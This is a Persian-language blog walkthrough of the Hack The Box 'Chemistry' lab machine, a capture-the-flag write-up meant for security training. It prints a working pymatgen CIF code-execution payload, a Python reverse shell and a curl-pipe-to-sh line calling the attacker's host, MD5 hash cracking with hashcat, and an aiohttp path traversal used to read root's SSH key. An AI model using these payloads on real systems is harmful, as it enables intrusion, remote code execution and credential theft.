ویرگول
ورودثبت نام
آکادمی آموزشی ای سایبر
آکادمی آموزشی ای سایبرآکادمی ای سایبر ارائه دهنده خدمات آموزش در حوزه امنیت فناوری اطلاعات و ارتباطات
آکادمی آموزشی ای سایبر
آکادمی آموزشی ای سایبر
خواندن ۹ دقیقه·۹ ماه پیش

Hack The Box Chemistry نفوذ به سیستم رایانه ای شیمی

Chemistry
Chemistry

ماشین لینوکسی شیمی یک سیستم با سطح دشواری آسان است که دارای آسیبپذیری اجرای کد از راه دور (RCE) در کتابخانه پایتون pymatgen (CVE-2024-23346) میباشد. این آسیبپذیری از طریق بارگذاری یک فایل CIF مخرب در وبسایت قابل بهرهبرداری است. پس از شکستن هشها، با استفاده از SSH به عنوان کاربر rosa به سیستم وارد میشویم. برای افزایش سطح دسترسی، از یک آسیبپذیری پیمایش مسیر (Path Traversal) در کتابخانه پایتون AioHTTP (CVE-2024-23334) استفاده میکنیم که امکان خواندن دلخواه فایلها را فراهم میکند.

1# شروع اسکن با NMAP

در این بخش با اجرا دستور زیر درگاه های باز سیستم مجازی آسیب پذیر با استخراج می نماییم .

nmap -sC -vv -oA nmap/chemistry 10.10.11.38

این دستور تمامی پورتهای باز سیستم هدف را شناسایی میکند و به ما کمک میکند تا نقاط ورودی احتمالی را برای بهرهبرداری مشخص کنیم.

-sC

اجرای اسکریپتهای پیشفرض Nmap (مانند شناسایی نسخهها، اطلاعات اضافی سرویسها و تستهای امنیتی اولیه).

-vv

فعال کردن حالت verbose دوبرابر، یعنی نمایش جزئیات بیشتر در طول فرآیند اسکن.

-oA nmap/chemistry

ذخیره نتایج اسکن در سه فرمت مختلف (normal, XML و grepable) با پیشوند chemistry در پوشه nmap فایلها به صورت chemistry .nmap، chemistry .xml و chemistry .gnmap ذخیره میشوند.

اجرا دستور nmap برای یافتن درگاه های باز برروی سیستم مجازی آسیب پذیر
اجرا دستور nmap برای یافتن درگاه های باز برروی سیستم مجازی آسیب پذیر


مشاهده صفحه اول سرویس دهنده CIF

در این بخش با درج آدرس شبکه ماشین مجازی آسیب پذیر به آدرس 10.10.11.38 (اختصاصی) در مرورگر خود می توان صفحه اول سایت سرویس دهی شده برروی درگاه http مشاهده کرد .

صفحه پیش فرض http سرویس اجرا شده بروی ماشین مجازی آسیب پذیر
صفحه پیش فرض http سرویس اجرا شده بروی ماشین مجازی آسیب پذیر

در این صفحه دو گزینه انتخابی به عنوان login و register موجود است .

صفحه بعداز عضویت در سامانه
صفحه بعداز عضویت در سامانه

در این صفحه این امکان هست که فایل CIF برای آنالیز بارگزاری نماییم . همین طور که قابل مشاهده است قابلیت دانلود فایل از لینک بالا صفحه میسر است .

ساختار پیش فرض فایل cif
ساختار پیش فرض فایل cif


تذکر : قابلیت های بارگزاری فایل یکی از بخش های آسیب پذیری مربوط به RCE میتواند باشد در بعضی از موارد نیز قابلیت دانلود بعد از آپلوید در حملات SSRF امکان پذیر است .
ساختار exiftool فایل example .cif
ساختار exiftool فایل example .cif

در این مرحله با استفاده از نرم افزار exiftool مقدار های metadata موجود در فایل را مشاهده می نماییم.

پیدا کردن اسکریپت اکسپلویت برروی example .cif

حالا با بررسی ساختار فایل cif می توانیم کار دیگری انجام دهیم در این روش با جستجو در اینترنت با عبارت cif exploit github متوجه وجود مقاله ای در زمینه poc در فایل های cif می شویم . در این مقاله نمونه کد آسیب پذیری اثبات poc برای ما قرار داده شده است .

data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method &quotPymatgen CIF Parser Arbitrary Code Execution Exploit&quot
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+[&quot__sub&quot + &quotclasses__&quot]) () if d.__name__ == &quotBuiltinImporter&quot][0].load_module (&quotos&quot).system (&quottouch pwned&quot);0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS &quotP n' m a' &quot
در این تصویر با تعریف دستور ping -c 1 10.10.14.8 به سیستم جهت بررسی اجرا ستوات RCE برروی سرور به روش SSRF
در این تصویر با تعریف دستور ping -c 1 10.10.14.8 به سیستم جهت بررسی اجرا ستوات RCE برروی سرور به روش SSRF


دستور sudo tcpdump -n -i tun0 icmp
دستور sudo tcpdump -n -i tun0 icmp

همان طور که قابل مشاهده است می توانیم از طریق شل کد ping ماشین مجازی آسیب پذیر به سیستم خود پروتکل icmp ارسال نمایید .

مشکل در دریافت شل معکوس، در نهایت دانلود یک فایل با curl

در اولین قدم اقدام به ایجاد شل کد برای اجرا در ماشین مجازی آسیب پذیر می نماییم .

کد شل آسیب پذیری SSRF با ویژگی اتصال به nc
کد شل آسیب پذیری SSRF با ویژگی اتصال به nc

بعد از اجرا این فایل به دلیل مشکل در عدم اجرا درست دستور bash نیاز به بازبینی و اجرا روش های دیگر برای اجرای دستور می باشد .

روش اول دور زدن محدودیت :

اجرا دستوری شل به صورت Base64 : استفاده از دستور Base64 برای تبدیل کد مخرب اتصال به ماشین مجازی آسیب پذیر به واسطه nc

تبدیل کد آسیب پذیر به اینکود Base64 و استفاده از دستور فرمان برای اجرا دستور در ساختار Base64 -d
تبدیل کد آسیب پذیر به اینکود Base64 و استفاده از دستور فرمان برای اجرا دستور در ساختار Base64 -d

استفاده از شل معکوس :

قدم اول بررسی دسترسی سرور آلوده به بیرون از شبکه : استفاده از دستورcurl برای دسترسی به فایل خارجی و دانلود برروی ماشین مجاری آسیب پذیر از روی سیستم مهاجم

استفاده از دستور curl برای دسترسی به آدرس بیرونی از طریق URL
استفاده از دستور curl برای دسترسی به آدرس بیرونی از طریق URL

قدم دوم استفاده از سرویس nc برای ارسال فایل مخرب به سیستم هدف برای اجرای شل معکوس

nc -lvnp 9001
nc -lvnp 9001

قابلیت دانلود فایل از روی سیستم مهاجم برروی ماشین مجازی آسیب پذیر

paython3 -m http.server
paython3 -m http.server

استفاده از کد شل پایتون برای اجرای راحت و ایجاد شل معکوس برروی ماشین مجازی آسیب پذیری

سایت مرجع شل های معکوس
سایت مرجع شل های معکوس


python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot10.10.14.8&quot,9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(&quot/bin/sh&quot)'

متصل شدن معکوس به ماشین مجازی آسیب پذیر به واسطه کد پایتون و nc

اتصال موفق به شل معکوس
اتصال موفق به شل معکوس

اتصال به شل سیستم به منظور فعالسازی قابلیتهای سیستم، از جمله کلیدهای میانبر ترمینال لینوکس و سایر امکانات پیشرفته، انجام میشود.

دسترسی به شل به واسطه دستور bash
دسترسی به شل به واسطه دستور bash

در تصویر بالا، چند روش برای دور زدن محدودیتهای اجرای دستورات شل و کد بر روی ماشین مجازی آسیبپذیر قابل مشاهده است.

شل کد ویرایش شده برای دریافت اتصال شل با هاست مجازی آسیب پذیر
شل کد ویرایش شده برای دریافت اتصال شل با هاست مجازی آسیب پذیر

در این بخش، فرمان شل در فایل CIF قرار داده شده است. به دلیل محدودیتهای موجود در دستورات کد، نیاز به تغییر در ساختار آن برای اجرای صحیح و دسترسی به شل سیستم داریم. این تغییرات ممکن است شامل اصلاح فرمت فایل CIF، تغییر نحوه بارگذاری یا اجرای کد، و یا بهرهبرداری از آسیبپذیریهای موجود برای اجرای دستورات شل به شکلی متفاوت از حالت معمول باشد.

curl http://10.10.14.8:8000/pm 2>dev/shm/error | sh 2>dev/shm/error2
دسترسی کد به شل اپلیکیشن به واسطه شل معکوس در فایل cif
دسترسی کد به شل اپلیکیشن به واسطه شل معکوس در فایل cif

برای توسعه بخش ترمینال پس از ورود به آن، میتوانیم از کد زیر برای بهبود قابلیتهای ترمینال استفاده کنیم:

python3 -c 'import pty; pty.spawn(&quot/bin/bash&quot)'
stty raw -echo; fg
export TERM=xterm

این کد به شرح زیر عمل میکند:

export TERM=xterm:

این دستور تنظیمات ترمینال را بهگونهای تغییر میدهد که پشتیبانی از رنگها و قابلیتهای پیشرفته در ترمینال فعال شود.

این تغییرات کمک میکنند تا محیط ترمینال کاربرپسندتر شده و قابلیتهای آن برای اجرای دستورات پیچیدهتر یا مشاهده خروجیهای بزرگتر فراهم شود.

یافتن درگاه ها و سرویس های باز برروی ماشین مجازی آسیب پذیری

ss -lntp استفاده از کد
ss -lntp استفاده از کد

در خروجی این دستورات، local address:port سرویس وب بر روی 127.0.0.1:8080 است که نشان میدهد سرویس به آدرس 127.0.0.1 و پورت 8080 گوش میدهد. این بدان معناست که سرویس تنها به درخواستهایی که از همان ماشین ارسال میشود پاسخ میدهد، بنابراین امکان اتصال به این سرویس از طریق دستور curl 127.0.0.1:8080 بهطور مستقیم میسر نیست.

با توجه به این محدودیت، نیاز است فایل اجرایی مرتبط با سرویس را پیدا کنیم. اما قبل از این اقدام، برای بررسی وضعیت دسترسیها و اطمینان از وجود محدودیتهای احتمالی در ارتباطات شبکهای، جداول دیوار آتش (Firewall) را بررسی میکنیم. در این بررسی مشخص میشود که دسترسی به تنظیمات دیوار آتش و iptables وجود ندارد.

استفاده از sqlite 3  برای دسترسی به فایل دیتابیس batabase.db
استفاده از sqlite 3 برای دسترسی به فایل دیتابیس batabase.db
sqlite3 database.db .dump

استخراج اطلاعات از پایگاه داده و پیدا کردن اطلاعات کاربری

در بررسیهای انجام شده، پس از مشاهده نام کاربری و رمز عبور، نیاز است که رمز عبور را با استفاده از نرمافزار Hashcat دیکد کنیم. برای این کار ابتدا باید مطمئن شویم که فرمت هش رمز عبور چیست، سپس از Hashcat برای شکستن آن استفاده خواهیم کرد.

لیست نام کاربری و رمز عبور موجود در پایگاه داده یافت شده در پوشه
لیست نام کاربری و رمز عبور موجود در پایگاه داده یافت شده در پوشه
استفاده از دستور cat tmp | awk -F\ ' ' {print s2
استفاده از دستور cat tmp | awk -F\ ' ' {print s2

مرحله اول: شناسایی فرمت هش رمز عبور
ابتدا باید فرمت هش رمز عبور را شناسایی کنیم (مثل MD5، SHA-1، bcrypt و غیره). این اطلاعات معمولاً در فایلهایی که شامل هشها هستند، مشخص میشود یا میتوان از آن بهطور غیرمستقیم با توجه به طول هش یا فرمت آن پی برد.

تذکر : برای فهمیدن ساختار رمزنگاری داده ها به فایل app.py داخل پوشه ماشین مجازی می رویم و در بخش ساختار ورود نوع الگوریتم رمز نگاری را مشاهده می نماییم .

مرحله دوم: استخراج هش رمز عبور
اگر هش رمز عبور را از فایل پیدا کردهایم، آن را استخراج کرده و در فایلی مانند hashes.txt ذخیره میکنیم.

مرحله سوم: دیکد کردن هش با استفاده از Hashcat
پس از استخراج هش، از نرمافزار Hashcat برای دیکد کردن آن استفاده میکنیم. دستور زیر یک مثال است که میتواند برای دیکد کردن هشهای MD5 استفاده شود:

hashcat -m 0 -a 0 hashes.txt /path/to/wordlist.txt
  • -m 0: مشخص کننده فرمت هش (در اینجا MD5).
  • -a 0: مشخص کننده حالت حمله (حالت حمله بر اساس دیکشنری).
  • hashes.txt: فایلی که هشهای رمز عبور در آن ذخیره شده است.
  • /path/to/wordlist.txt: مسیر به فایل دیکشنری که در آن کلمات عبور ممکن ذخیره شدهاند.
استفاده از الگوریتم رمز نگاری hashlib.md5 که همان MD5 می باشد
استفاده از الگوریتم رمز نگاری hashlib.md5 که همان MD5 می باشد

بعد از رمزگشایی ساختار md5 رمز عبور ها نام کاربری ورمز عبور به شرح ذیل می باشد .

رمزعبور های کرک شده به واسطه hashcat
رمزعبور های کرک شده به واسطه hashcat

در این مرحله نیاز است به نام کاربری هایی که دارای دسترسی shell برروی ماشین مجازی آسیب پذیری است دسترسی پیدا نماییم .

استفاده از دستور grep sh$ /etc/passwd
استفاده از دستور grep sh$ /etc/passwd

با استفاده از نام کاربری rosa و رمز عبور به ssh ماشین مجازی آسیب پذیر متصل می شویم.

دسترسی به curl localhost:8080
دسترسی به curl localhost:8080

در این مرحله با دسترسی rosa میتوانیم به سرویس 8080 دسترسی داشته باشیم .

دستور forward کردن پورت 8080 در SSH
دستور forward کردن پورت 8080 در SSH

یکی از مهمترین کاربرد های دستور forward استفاده از دستورات سیستم داخلی و قابل اجرا در ماشین مجازی آسیب پذیر می باشد .

صفحه اول دسترسی به سرویس 8080 localhost
صفحه اول دسترسی به سرویس 8080 localhost
ps -ef --forest
ps -ef --forest

ps: ابزاری برای نمایش اطلاعات مربوط به فرآیندهای در حال اجرا در سیستم.

  • -e: تمام فرآیندها (به جز فرآیندهای هسته) را انتخاب می کند.
  • -f: فرمت خروجی کامل را نمایش می دهد (شامل UID، PID، PPID، C، STIME، TTY، TIME و CMD).
  • --forest: خروجی را به صورت درختی نمایش می دهد، به طوری که رابطه بین فرآیندهای والد و فرزند به وضوح نشان داده می شود.
curl -I 127.0.0.1:8080
curl -I 127.0.0.1:8080

با اجرای دستور بالا و مشاهده هدر درخواستها، متوجه میشویم که سرور استفاده شده در سرویسدهی درگاه 8080، AioHTTP نسخه 3.9.1 است. این اطلاعات معمولاً در هدرهای پاسخ HTTP قابل مشاهده است و میتواند به شما در شناسایی نوع سرور و نسخه آن کمک کند.

سوء استفاده از آسیب پذیری aiohttp 3.91

در بررسی های انجام شده در موتور جستجو گوگل برروی آسیب پذیری سرویس دهنده وب اقدام به اجرای آسیب پذیری برروی ماشین مجازی آسیب پذیر می نماییم .

در آسیب پذیری اجرایی شده قابلیت اجرای آسیب پذیری Directory Traversal در سرویس دهنده میسر می باشد .

دستور اجرایی برای دسترسی با فایل
دستور اجرایی برای دسترسی با فایل


فایل passwd با دسترسی root
فایل passwd با دسترسی root
دسترسی به کلید rsa سرویس SSH - root
دسترسی به کلید rsa سرویس SSH - root
کلید اصلی گواهی SSH
کلید اصلی گواهی SSH
authorized_keys
authorized_keys

نویسنده : آکادمیک ای سایبر

هکhack
۲
۰
آکادمی آموزشی ای سایبر
آکادمی آموزشی ای سایبر
آکادمی ای سایبر ارائه دهنده خدمات آموزش در حوزه امنیت فناوری اطلاعات و ارتباطات
شاید از این پست‌ها خوشتان بیاید